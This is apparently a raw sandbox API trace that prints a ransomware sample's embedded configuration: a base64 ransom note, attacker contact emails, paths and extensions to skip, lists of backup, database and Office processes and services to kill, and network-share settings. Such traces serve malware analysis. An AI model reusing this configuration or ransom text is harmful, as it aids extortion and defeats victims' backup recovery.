Cml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0x46fc24, _Radix=0 | out: _EndPtr=0x46fc24*=",\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 1500 [0030.419] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e68c8, Size=0x10) returned 0x8e68c8 [0030.419] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6900 [0030.419] strtol (in: _Str="51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0x46fc24, _Radix=0 | out: _EndPtr=0x46fc24*=",\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", 